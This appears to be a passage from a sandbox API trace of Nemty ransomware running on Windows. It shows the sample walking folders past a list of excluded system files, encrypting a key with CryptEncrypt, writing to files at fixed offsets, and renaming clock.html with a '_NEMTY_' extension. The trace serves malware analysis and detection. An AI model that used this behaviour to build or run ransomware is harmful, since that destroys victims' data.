ftLastAccessTime.dwLowDateTime=0xf72de750, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf72de750, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0113.306] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0113.306] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf72de750, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf72de750, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0113.306] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0113.306] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0113.306] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="clock.html", cAlternateFileName="")) returned 1 [0113.306] lstrcmpiW (lpString1="clock.html", lpString2=".") returned 1 [0113.306] lstrcmpiW (lpString1="clock.html", lpString2="..") returned 1 [0113.306] lstrcmpiW (lpString1="clock.html", lpString2="...") returned 1 [0113.306] lstrcmpiW (lpString1="clock.html", lpString2="windows") returned -1 [0113.306] lstrcmpiW (lpString1="clock.html", lpString2="$RECYCLE.BIN") returned 1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="rsa") returned -1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="NTDETECT.COM") returned -1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="ntldr") returned -1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="MSDOS.SYS") returned -1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="IO.SYS") returned -1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="boot.ini") returned 1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="boot.ini") returned 1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="AUTOEXEC.BAT") returned 1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="ntuser.dat") returned -1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="desktop.ini") returned -1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="CONFIG.SYS") returned -1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="RECYCLER") returned -1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="BOOTSECT.BAK") returned 1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="bootmgr") returned 1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="programdata") returned -1 [0113.307] lstrcmpiW (lpString1="clock.html", lpString2="appdata") returned 1 [0113.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.html", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0113.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.html", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clock.html", lpUsedDefaultChar=0x0) returned 10 [0113.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.html", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0113.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.html", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clock.html", lpUsedDefaultChar=0x0) returned 10 [0113.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.html", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0113.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.html", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clock.html", lpUsedDefaultChar=0x0) returned 10 [0113.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.html", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0113.307] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.html", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clock.html", lpUsedDefaultChar=0x0) returned 10 [0113.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0113.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0113.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0113.307] Sleep (dwMilliseconds=0x5) [0113.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf73048b0, dwHighDateTime=0x1d561e7)) [0113.316] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf73048b0, dwHighDateTime=0x1d561e7)) [0113.316] GetLastError () returned 0xb7 [0113.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.316] GetLastError () returned 0xb7 [0113.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.316] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0113.316] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0113.317] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0113.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0113.317] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="FMYp3LKbnm246iJKxPARM6ibz6/thdGYzNO1qwh7Xsl+LiW8y2YML81jFWozF97m\r\nr2KLlmv5W3kbiIAyfW5HX/7xAJedUj15pZ0hw4f4sE8ehVO9NXCh8a2aCH0dXlws\r\nSb31ibH++AjsR9QbvCKXTL9pDUD8qCmIAPSRibpWzFOGg+yo10K38X5epdb5N6Gk\r\nKKp7RinrMe7cKdTO8vZl4nWFwYT8t4ZApxcwe/4TxPNphvIEQx+soF4PQvurJifm\r\nXr0Iohyzy8jEHAeZ1cwxLFCGeet9PJsozJuTpClRVwwGFH2vb3slbB3SbRH7cX5P\r\n6KQ8PAHiXTO2TyPOKmw+nQ==\r\n", pcchString=0x653e91c) returned 1 [0113.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0113.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0113.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0113.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0113.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0113.317] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\clock.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\clock.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0113.318] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0113.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0113.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.337] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.346] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.365] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.365] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.374] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.374] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.384] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.384] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.384] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.384] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.402] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.402] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.402] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.425] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0113.431] CloseHandle (hObject=0xffffffff) returned 0 [0113.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0113.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0113.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0113.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0113.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\clock.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\clock.html"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\clock.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\clock.html._nemty_kgobjgd_")) returned 0 [0113.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0113.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0113.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0113.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0113.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0113.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0113.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0113.432] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="css", cAlternateFileName="")) returned 1 [0113.432] lstrcmpiW (lpString1="css", lpString2=".") returned 1 [0113.432] lstrcmpiW (lpString1="css", lpString2="..") returned 1 [0113.432] lstrcmpiW (lpString1="css", lpString2="...") returned 1 [0113.432] lstrcmpiW (lpString1="css", lpString2="windows") returned -1 [0113.432] lstrcmpiW (lpString1="css", lpString2="$RECYCLE.BIN") returned 1 [0113.432] lstrcmpiW (lpString1="css", lpString2="rsa") returned -1 [0113.432] lstrcmpiW (lpString1="css", lpString2="NTDETECT.COM") returned -1 [0113.432] lstrcmpiW (lpString1="css", lpString2="ntldr") returned -1 [0113.432] lstrcmpiW (lpString1="css", lpString2="MSDOS.SYS") returned -1 [0113.432] lstrcmpiW (lpString1="css", lpString2="IO.SYS") returned -1 [0113.432] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0113.432] lstrcmpiW (lpString1="css", lpString2="boot.ini") returned 1 [0113.432] lstrcmpiW (lpString1="css", lpString2="AUTOEXEC.BAT") returned 1 [0113.432] lstrcmpiW (lpString1="css", lpString2="ntuser.dat") returned -1 [0113.432] lstrcmpiW (lpString1="css", lpString2="desktop.ini") returned -1 [0113.432] lstrcmpiW (lpString1="css", lpString2="CONFIG.SYS") returned 1 [0113.432] lstrcmpiW (lpString1="css", lpString2="RECYCLER") returned -1 [0113.432] lstrcmpiW (lpString1="css", lpString2="BOOTSECT.BAK") returned 1 [0113.432] lstrcmpiW (lpString1="css", lpString2="bootmgr") returned 1 [0113.432] lstrcmpiW (lpString1="css", lpString2="programdata") returned -1 [0113.432] lstrcmpiW (lpString1="css", lpString2="appdata") returned 1 [0113.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0113.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="css", lpUsedDefaultChar=0x0) returned 3 [0113.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="css", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 